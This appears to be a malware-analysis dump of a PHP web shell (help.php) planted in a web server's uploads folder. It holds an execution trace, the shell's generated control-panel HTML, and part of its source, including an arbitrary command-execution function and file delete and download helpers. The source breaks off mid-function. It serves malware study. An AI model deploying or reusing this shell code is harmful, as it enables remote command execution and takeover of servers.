2	28	0	0.001997	522112	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/.'
2	28	1	0.002012	522152
2	28	R			TRUE
2	29	0	0.002026	522120	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/..'
2	29	1	0.002040	522168
2	29	R			TRUE
2	30	0	0.002054	522352	filedate	1		/var/www/html/uploads/help.php	610	1	'/var/www/html/uploads/..'
3	31	0	0.002067	522352	filemtime	0		/var/www/html/uploads/help.php	281	1	'/var/www/html/uploads/..'
3	31	1	0.002081	522392
3	31	R			1676237032
3	32	0	0.002093	522352	date	0		/var/www/html/uploads/help.php	281	2	'F d Y g:i:s'	1676237032
3	32	1	0.004176	524744
3	32	R			'February 12 2023 4:23:52'
2	30	1	0.004199	524672
2	30	R			'February 12 2023 4:23:52'
2	33	0	0.004215	524512	owner	1		/var/www/html/uploads/help.php	611	1	'/var/www/html/uploads/..'
3	34	0	0.004230	524512	function_exists	0		/var/www/html/uploads/help.php	237	1	'posix_getpwuid'
3	34	1	0.004249	524552
3	34	R			TRUE
3	35	0	0.004263	524512	fileowner	0		/var/www/html/uploads/help.php	238	1	'/var/www/html/uploads/..'
3	35	1	0.004277	524552
3	35	R			0
3	36	0	0.004289	524512	posix_getpwuid	0		/var/www/html/uploads/help.php	238	1	0
3	36	1	0.004322	525312
3	36	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/help.php	238	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	33	1	0.004373	524560
2	33	R			'<center>root</center>'
2	37	0	0.004389	524192	is_writable	0		/var/www/html/uploads/help.php	613	1	'/var/www/html/uploads/..'
2	37	1	0.004406	524232
2	37	R			TRUE
2	38	0	0.004420	524192	statusnya	1		/var/www/html/uploads/help.php	615	1	'/var/www/html/uploads/..'
3	39	0	0.004433	524192	fileperms	0		/var/www/html/uploads/help.php	677	1	'/var/www/html/uploads/..'
3	39	1	0.004446	524232
3	39	R			16895
3	40	0	0.004506	524192	sprintf	0		/var/www/html/uploads/help.php	677	2	'%o'	16895
3	40	1	0.004522	524576
3	40	R			'40777'
3	41	0	0.004535	524512	substr	0		/var/www/html/uploads/help.php	677	2	'40777'	-4
3	41	1	0.004549	524608
3	41	R			'0777'
2		A						/var/www/html/uploads/help.php	677	$izin = '0777'
2	38	1	0.004574	524224
2	38	R			'0777'
2	42	0	0.004588	524192	is_writable	0		/var/www/html/uploads/help.php	616	1	'/var/www/html/uploads/..'
2	42	1	0.004611	524232
2	42	R			TRUE
2	43	0	0.004627	524192	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/.htaccess'
2	43	1	0.004643	524232
2	43	R			FALSE
2	44	0	0.004657	524192	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/data'
2	44	1	0.004671	524232
2	44	R			TRUE
2	45	0	0.004684	524416	filedate	1		/var/www/html/uploads/help.php	610	1	'/var/www/html/uploads/data'
3	46	0	0.004697	524416	filemtime	0		/var/www/html/uploads/help.php	281	1	'/var/www/html/uploads/data'
3	46	1	0.004710	524456
3	46	R			1676237032
3	47	0	0.004723	524416	date	0		/var/www/html/uploads/help.php	281	2	'F d Y g:i:s'	1676237032
3	47	1	0.004765	524744
3	47	R			'February 12 2023 4:23:52'
2	45	1	0.004781	524672
2	45	R			'February 12 2023 4:23:52'
2	48	0	0.004796	524512	owner	1		/var/www/html/uploads/help.php	611	1	'/var/www/html/uploads/data'
3	49	0	0.004809	524512	function_exists	0		/var/www/html/uploads/help.php	237	1	'posix_getpwuid'
3	49	1	0.004823	524552
3	49	R			TRUE
3	50	0	0.004836	524512	fileowner	0		/var/www/html/uploads/help.php	238	1	'/var/www/html/uploads/data'
3	50	1	0.004849	524552
3	50	R			0
3	51	0	0.004862	524512	posix_getpwuid	0		/var/www/html/uploads/help.php	238	1	0
3	51	1	0.004888	525312
3	51	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/help.php	238	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	48	1	0.004929	524560
2	48	R			'<center>root</center>'
2	52	0	0.004944	524192	is_writable	0		/var/www/html/uploads/help.php	613	1	'/var/www/html/uploads/data'
2	52	1	0.004960	524232
2	52	R			TRUE
2	53	0	0.004974	524192	statusnya	1		/var/www/html/uploads/help.php	615	1	'/var/www/html/uploads/data'
3	54	0	0.004987	524192	fileperms	0		/var/www/html/uploads/help.php	677	1	'/var/www/html/uploads/data'
3	54	1	0.005000	524232
3	54	R			16895
3	55	0	0.005013	524192	sprintf	0		/var/www/html/uploads/help.php	677	2	'%o'	16895
3	55	1	0.005026	524576
3	55	R			'40777'
3	56	0	0.005039	524512	substr	0		/var/www/html/uploads/help.php	677	2	'40777'	-4
3	56	1	0.005052	524608
3	56	R			'0777'
2		A						/var/www/html/uploads/help.php	677	$izin = '0777'
2	53	1	0.005076	524224
2	53	R			'0777'
2	57	0	0.005089	524192	is_writable	0		/var/www/html/uploads/help.php	616	1	'/var/www/html/uploads/data'
2	57	1	0.005103	524232
2	57	R			TRUE
2	58	0	0.005117	524192	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/help.php'
2	58	1	0.005132	524232
2	58	R			FALSE
2	59	0	0.005145	524200	is_dir	0		/var/www/html/uploads/help.php	606	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.005160	524248
2	59	R			FALSE
2	60	0	0.005174	524192	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/.'
2	60	1	0.005188	524216
2	60	R			FALSE
2	61	0	0.005201	524184	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/..'
2	61	1	0.005215	524232
2	61	R			FALSE
2	62	0	0.005228	524192	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/.htaccess'
2	62	1	0.005242	524232
2	62	R			TRUE
2	63	0	0.005256	524192	filesize	0		/var/www/html/uploads/help.php	636	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.005269	524232
2	63	R			64
1		A						/var/www/html/uploads/help.php	636	$size = 0.0625
2	64	0	0.005294	524136	round	0		/var/www/html/uploads/help.php	637	2	0.0625	3
2	64	1	0.005308	524208
2	64	R			0.063
1		A						/var/www/html/uploads/help.php	637	$size = 0.063
1		A						/var/www/html/uploads/help.php	641	$size = '0.063 KB'
2	65	0	0.005344	524232	cekfile	1		/var/www/html/uploads/help.php	645	1	'/var/www/html/uploads/.htaccess'
2	65	1	0.005357	524232
2	65	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	66	0	0.005374	524488	filedate	1		/var/www/html/uploads/help.php	647	1	'/var/www/html/uploads/.htaccess'
3	67	0	0.005387	524488	filemtime	0		/var/www/html/uploads/help.php	281	1	'/var/www/html/uploads/.htaccess'
3	67	1	0.005400	524528
3	67	R			1676237032
3	68	0	0.005413	524488	date	0		/var/www/html/uploads/help.php	281	2	'F d Y g:i:s'	1676237032
3	68	1	0.005444	524816
3	68	R			'February 12 2023 4:23:52'
2	66	1	0.005464	524744
2	66	R			'February 12 2023 4:23:52'
2	69	0	0.005479	524552	owner	1		/var/www/html/uploads/help.php	648	1	'/var/www/html/uploads/.htaccess'
3	70	0	0.005491	524552	function_exists	0		/var/www/html/uploads/help.php	237	1	'posix_getpwuid'
3	70	1	0.005505	524592
3	70	R			TRUE
3	71	0	0.005517	524552	fileowner	0		/var/www/html/uploads/help.php	238	1	'/var/www/html/uploads/.htaccess'
3	71	1	0.005530	524592
3	71	R			0
3	72	0	0.005542	524552	posix_getpwuid	0		/var/www/html/uploads/help.php	238	1	0
3	72	1	0.005565	525352
3	72	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/help.php	238	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	69	1	0.005606	524600
2	69	R			'<center>root</center>'
2	73	0	0.005621	524232	is_writable	0		/var/www/html/uploads/help.php	650	1	'/var/www/html/uploads/.htaccess'
2	73	1	0.005637	524272
2	73	R			FALSE
2	74	0	0.005651	524232	is_readable	0		/var/www/html/uploads/help.php	651	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.005666	524272
2	74	R			TRUE
2	75	0	0.005679	524232	statusnya	1		/var/www/html/uploads/help.php	652	1	'/var/www/html/uploads/.htaccess'
3	76	0	0.005692	524232	fileperms	0		/var/www/html/uploads/help.php	677	1	'/var/www/html/uploads/.htaccess'
3	76	1	0.005705	524272
3	76	R			33188
3	77	0	0.005718	524232	sprintf	0		/var/www/html/uploads/help.php	677	2	'%o'	33188
3	77	1	0.005731	524616
3	77	R			'100644'
3	78	0	0.005744	524552	substr	0		/var/www/html/uploads/help.php	677	2	'100644'	-4
3	78	1	0.005771	524648
3	78	R			'0644'
2		A						/var/www/html/uploads/help.php	677	$izin = '0644'
2	75	1	0.005795	524264
2	75	R			'0644'
2	79	0	0.005809	524232	is_writable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/.htaccess'
2	79	1	0.005825	524272
2	79	R			FALSE
2	80	0	0.005839	524232	is_readable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.005854	524272
2	80	R			TRUE
2	81	0	0.006027	524176	class_exists	0		/var/www/html/uploads/help.php	662	1	'ZipArchive'
2	81	1	0.006044	524216
2	81	R			FALSE
2	82	0	0.006059	524232	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/data'
2	82	1	0.006075	524272
2	82	R			FALSE
2	83	0	0.006088	524232	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/help.php'
2	83	1	0.006103	524272
2	83	R			TRUE
2	84	0	0.006117	524232	filesize	0		/var/www/html/uploads/help.php	636	1	'/var/www/html/uploads/help.php'
2	84	1	0.006130	524272
2	84	R			23104
1		A						/var/www/html/uploads/help.php	636	$size = 22.5625
2	85	0	0.006155	524136	round	0		/var/www/html/uploads/help.php	637	2	22.5625	3
2	85	1	0.006168	524208
2	85	R			22.563
1		A						/var/www/html/uploads/help.php	637	$size = 22.563
1		A						/var/www/html/uploads/help.php	641	$size = '22.563 KB'
2	86	0	0.006204	524232	cekfile	1		/var/www/html/uploads/help.php	645	1	'/var/www/html/uploads/help.php'
2	86	1	0.006218	524232
2	86	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	87	0	0.006235	524488	filedate	1		/var/www/html/uploads/help.php	647	1	'/var/www/html/uploads/help.php'
3	88	0	0.006248	524488	filemtime	0		/var/www/html/uploads/help.php	281	1	'/var/www/html/uploads/help.php'
3	88	1	0.006261	524528
3	88	R			1676237032
3	89	0	0.006274	524488	date	0		/var/www/html/uploads/help.php	281	2	'F d Y g:i:s'	1676237032
3	89	1	0.006305	524816
3	89	R			'February 12 2023 4:23:52'
2	87	1	0.006320	524744
2	87	R			'February 12 2023 4:23:52'
2	90	0	0.006335	524552	owner	1		/var/www/html/uploads/help.php	648	1	'/var/www/html/uploads/help.php'
3	91	0	0.006347	524552	function_exists	0		/var/www/html/uploads/help.php	237	1	'posix_getpwuid'
3	91	1	0.006360	524592
3	91	R			TRUE
3	92	0	0.006373	524552	fileowner	0		/var/www/html/uploads/help.php	238	1	'/var/www/html/uploads/help.php'
3	92	1	0.006386	524592
3	92	R			1000
3	93	0	0.006399	524552	posix_getpwuid	0		/var/www/html/uploads/help.php	238	1	1000
3	93	1	0.006435	525368
3	93	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/help.php	238	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	90	1	0.006484	524608
2	90	R			'<center>osboxes</center>'
2	94	0	0.006501	524232	is_writable	0		/var/www/html/uploads/help.php	650	1	'/var/www/html/uploads/help.php'
2	94	1	0.006517	524272
2	94	R			FALSE
2	95	0	0.006531	524232	is_readable	0		/var/www/html/uploads/help.php	651	1	'/var/www/html/uploads/help.php'
2	95	1	0.006546	524272
2	95	R			TRUE
2	96	0	0.006559	524232	statusnya	1		/var/www/html/uploads/help.php	652	1	'/var/www/html/uploads/help.php'
3	97	0	0.006571	524232	fileperms	0		/var/www/html/uploads/help.php	677	1	'/var/www/html/uploads/help.php'
3	97	1	0.006584	524272
3	97	R			33204
3	98	0	0.006597	524232	sprintf	0		/var/www/html/uploads/help.php	677	2	'%o'	33204
3	98	1	0.006610	524616
3	98	R			'100664'
3	99	0	0.006624	524552	substr	0		/var/www/html/uploads/help.php	677	2	'100664'	-4
3	99	1	0.006637	524648
3	99	R			'0664'
2		A						/var/www/html/uploads/help.php	677	$izin = '0664'
2	96	1	0.006661	524264
2	96	R			'0664'
2	100	0	0.006674	524232	is_writable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/help.php'
2	100	1	0.006689	524272
2	100	R			FALSE
2	101	0	0.006702	524232	is_readable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/help.php'
2	101	1	0.006716	524272
2	101	R			TRUE
2	102	0	0.006730	524176	class_exists	0		/var/www/html/uploads/help.php	662	1	'ZipArchive'
2	102	1	0.006743	524216
2	102	R			FALSE
2	103	0	0.006756	524240	is_file	0		/var/www/html/uploads/help.php	635	1	'/var/www/html/uploads/prepend.php'
2	103	1	0.006772	524288
2	103	R			TRUE
2	104	0	0.006785	524248	filesize	0		/var/www/html/uploads/help.php	636	1	'/var/www/html/uploads/prepend.php'
2	104	1	0.006798	524288
2	104	R			57
1		A						/var/www/html/uploads/help.php	636	$size = 0.0556640625
2	105	0	0.006823	524144	round	0		/var/www/html/uploads/help.php	637	2	0.0556640625	3
2	105	1	0.006836	524216
2	105	R			0.056
1		A						/var/www/html/uploads/help.php	637	$size = 0.056
1		A						/var/www/html/uploads/help.php	641	$size = '0.056 KB'
2	106	0	0.006871	524248	cekfile	1		/var/www/html/uploads/help.php	645	1	'/var/www/html/uploads/prepend.php'
2	106	1	0.006885	524248
2	106	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	107	0	0.006902	524504	filedate	1		/var/www/html/uploads/help.php	647	1	'/var/www/html/uploads/prepend.php'
3	108	0	0.006914	524504	filemtime	0		/var/www/html/uploads/help.php	281	1	'/var/www/html/uploads/prepend.php'
3	108	1	0.006927	524544
3	108	R			1676237032
3	109	0	0.006940	524504	date	0		/var/www/html/uploads/help.php	281	2	'F d Y g:i:s'	1676237032
3	109	1	0.006971	524832
3	109	R			'February 12 2023 4:23:52'
2	107	1	0.006987	524760
2	107	R			'February 12 2023 4:23:52'
2	110	0	0.007001	524568	owner	1		/var/www/html/uploads/help.php	648	1	'/var/www/html/uploads/prepend.php'
3	111	0	0.007014	524568	function_exists	0		/var/www/html/uploads/help.php	237	1	'posix_getpwuid'
3	111	1	0.007028	524608
3	111	R			TRUE
3	112	0	0.007041	524568	fileowner	0		/var/www/html/uploads/help.php	238	1	'/var/www/html/uploads/prepend.php'
3	112	1	0.007054	524608
3	112	R			0
3	113	0	0.007066	524568	posix_getpwuid	0		/var/www/html/uploads/help.php	238	1	0
3	113	1	0.007089	525368
3	113	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/help.php	238	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	110	1	0.007130	524616
2	110	R			'<center>root</center>'
2	114	0	0.007146	524248	is_writable	0		/var/www/html/uploads/help.php	650	1	'/var/www/html/uploads/prepend.php'
2	114	1	0.007162	524288
2	114	R			FALSE
2	115	0	0.007175	524248	is_readable	0		/var/www/html/uploads/help.php	651	1	'/var/www/html/uploads/prepend.php'
2	115	1	0.007190	524288
2	115	R			TRUE
2	116	0	0.007203	524248	statusnya	1		/var/www/html/uploads/help.php	652	1	'/var/www/html/uploads/prepend.php'
3	117	0	0.007216	524248	fileperms	0		/var/www/html/uploads/help.php	677	1	'/var/www/html/uploads/prepend.php'
3	117	1	0.007229	524288
3	117	R			33261
3	118	0	0.007241	524248	sprintf	0		/var/www/html/uploads/help.php	677	2	'%o'	33261
3	118	1	0.007254	524632
3	118	R			'100755'
3	119	0	0.007271	524568	substr	0		/var/www/html/uploads/help.php	677	2	'100755'	-4
3	119	1	0.007284	524664
3	119	R			'0755'
2		A						/var/www/html/uploads/help.php	677	$izin = '0755'
2	116	1	0.007308	524280
2	116	R			'0755'
2	120	0	0.007322	524248	is_writable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/prepend.php'
2	120	1	0.007337	524288
2	120	R			FALSE
2	121	0	0.007350	524248	is_readable	0		/var/www/html/uploads/help.php	653	1	'/var/www/html/uploads/prepend.php'
2	121	1	0.007365	524288
2	121	R			TRUE
2	122	0	0.007378	524184	class_exists	0		/var/www/html/uploads/help.php	662	1	'ZipArchive'
2	122	1	0.007391	524224
2	122	R			FALSE
2	123	0	0.007406	524184	author	1		/var/www/html/uploads/help.php	674	0
			0.007443	442792
TRACE END   [2023-02-12 19:24:18.537423]


Generated HTML code

<html><head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
    <link href="" rel="stylesheet" type="text/css">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
    <style>
        @import url('https://fonts.googleapis.com/css?family=Dosis');
        @import url('https://fonts.googleapis.com/css?family=Bungee');
        body {
            font-family: "Dosis", cursive;
            text-shadow:0px 0px 1px #757575;
        }

        body::-webkit-scrollbar {
          width: 12px;
      }

      body::-webkit-scrollbar-track {
          background: #1f1f1f;
      }

      body::-webkit-scrollbar-thumb {
          background-color: #1f1f1f;
          border: 3px solid gray;
      }

      #content tr:hover {
        background-color: #636263;
        text-shadow:0px 0px 10px #fff;
    }

    #content .first {
        background-color: #25383C;
    }

    #content .first:hover {
        background-color: #25383C
        text-shadow:0px 0px 1px #757575;
    }

    table {
        border: 1px #000000 dotted;
        table-layout: fixed;
        word-break: break-all;
    }

    textarea {
        max-width: 95%;
        max-height: 100%;
        resize: none;
        outline: none;
        overflow: auto;
        background: transparent;
        color: #fff;
    }

    textarea::-webkit-scrollbar {
      width: 12px;
  }

  textarea::-webkit-scrollbar-track {
      background: #1f1f1f;
  }

  textarea::-webkit-scrollbar-thumb {
      background-color: #1f1f1f;
      border: 3px solid gray;
  }

  a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
    function setfilename(val)
    {
        filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
}

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
    <font face="Bungee" size="5"></font></center>   
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
        <tbody><tr><td>
            Server IP : <font color="gold">::1</font> &nbsp;/&nbsp; Your IP : <font color="gold">::1</font><br>Web Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>MySQL : <font color="red">OFF</font> &nbsp;|&nbsp; cURL : <font color="green">ON</font> &nbsp;|&nbsp; WGET : <font color="green">ON</font> &nbsp;|&nbsp; Perl : <font color="green">ON</font> &nbsp;|&nbsp; Python : <font color="red">OFF</font><br>Directory (<font color="green">0777</font>) : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td></td></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="/help.php">Home</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;komend=gaskan">C0mmand</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;upload=gaskan">Upload File</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;root=gaskan">r00t</a>&nbsp; ]</th></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="?path=/var/www/html&amp;protected=gaskan">Protected Files/folder (only root)</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;unprotected=gaskan">unProtected Files/folder (only root)</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;write=gaskan">Find Directory Writable</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;root=gaskan">r00t</a>&nbsp; ]</th></tr></tbody></table><br><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <tbody><tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Last Modified</center></td>
        <td><center>Owner</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr><tr>
        <td><i class="fa fa-folder" style="color: #ffe9a2"></i> <a href="?path=/var/www/html/..">..</a></td>
        <td><center>--</center></td>
        <td><center>February 12 2023 4:23:45</center></td>
        <td><center>root</center></td>
        <td><center><font color="green">0777</font></center></td>
            <td><center><form method="POST" action="?pilihan&amp;path=/var/www/html">
                <select name="pilih">
                    <option value=""></option>
                    <option value="hapus">Delete</option>
                    <option value="gantinama">Rename</option>
                </select>
                <input type="hidden" name="type" value="dir">
                <input type="hidden" name="name" value="..">
                <input type="hidden" name="path" value="/var/www/html/..">
                <input type="submit" class="gas" value=">">
            </form></center></td>
        </tr><tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr>
    <td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
    <td><center>0 KB</center></td>
    <td><center>February 12 2023 4:23:45</center></td>
    <td><center>root</center></td>
    <td><center>0644</center></td><td><center>
            <form method="post" action="?pilihan&amp;path=/var/www/html">
                <select name="pilih">
                    <option value=""></option>
                    <option value="hapus">Delete</option>
                    <option value="dunlut">Download</option>
                    <option value="gantinama">Rename</option>
                    <option value="edit">Edit</option></select>
            <input type="hidden" name="type" value="file">
            <input type="hidden" name="name" value="beneri.se_malware_analysis">
            <input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
            <input type="submit" class="gas" value=">">
        </form></center></td>
    </tr><tr>
    <td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/help.php&amp;path=/var/www/html">help.php</a></td>
    <td><center>22.563 KB</center></td>
    <td><center>February 12 2023 4:23:45</center></td>
    <td><center>osboxes</center></td>
    <td><center>0664</center></td><td><center>
            <form method="post" action="?pilihan&amp;path=/var/www/html">
                <select name="pilih">
                    <option value=""></option>
                    <option value="hapus">Delete</option>
                    <option value="dunlut">Download</option>
                    <option value="gantinama">Rename</option>
                    <option value="edit">Edit</option></select>
            <input type="hidden" name="type" value="file">
            <input type="hidden" name="name" value="help.php">
            <input type="hidden" name="path" value="/var/www/html/help.php">
            <input type="submit" class="gas" value=">">
        </form></center></td>
    </tr></tbody></table><center><br></center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
    <link href="" rel="stylesheet" type="text/css">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
    <style>
        @import url('https://fonts.googleapis.com/css?family=Dosis');
        @import url('https://fonts.googleapis.com/css?family=Bungee');
        body {
            font-family: "Dosis", cursive;
            text-shadow:0px 0px 1px #757575;
        }

        body::-webkit-scrollbar {
          width: 12px;
      }

      body::-webkit-scrollbar-track {
          background: #1f1f1f;
      }

      body::-webkit-scrollbar-thumb {
          background-color: #1f1f1f;
          border: 3px solid gray;
      }

      #content tr:hover {
        background-color: #636263;
        text-shadow:0px 0px 10px #fff;
    }

    #content .first {
        background-color: #25383C;
    }

    #content .first:hover {
        background-color: #25383C
        text-shadow:0px 0px 1px #757575;
    }

    table {
        border: 1px #000000 dotted;
        table-layout: fixed;
        word-break: break-all;
    }

    textarea {
        max-width: 95%;
        max-height: 100%;
        resize: none;
        outline: none;
        overflow: auto;
        background: transparent;
        color: #fff;
    }

    textarea::-webkit-scrollbar {
      width: 12px;
  }

  textarea::-webkit-scrollbar-track {
      background: #1f1f1f;
  }

  textarea::-webkit-scrollbar-thumb {
      background-color: #1f1f1f;
      border: 3px solid gray;
  }

  a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
    function setfilename(val)
    {
        filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
}

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
    <font face="Bungee" size="5"></font></center>   
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
        <tr><td>
            <?php
            set_time_limit(0);
            error_reporting(0);

            $disfunc = @ini_get("disable_functions");
            if (empty($disfunc)) {
            $disf = "<font color='gold'>NONE</font>";
        } else {
        $disf = "<font color='red'>".$disfunc."</font>";
    }

    function author() {
    echo "<center><br></center>";
    exit();
}

function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function exe($cmd) {
if(function_exists('system')) {
	@ob_start();
	@system($cmd);
	$buff = @ob_get_contents();
	@ob_end_clean();
	return $buff;
} elseif(function_exists('exec')) {
	@exec($cmd,$results);
	$buff = "";
foreach($results as $result) {
	$buff .= $result;
	} return $buff;
} elseif(function_exists('passthru')) {
	@ob_start();
	@passthru($cmd);
	$buff = @ob_get_contents();
	@ob_end_clean();
	return $buff;
} elseif(function_exists('shell_exec')) {
	$buff = @shell_exec($cmd);
	return $buff;
	}
}
function dunlut($file) {
if (!is_readable($file)) {
red("Cannot Download File / Unreadable File !");
die();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush();
readfile($file);
die();
}

function owner($file) {
if (function_exists("posix_getpwuid")) {
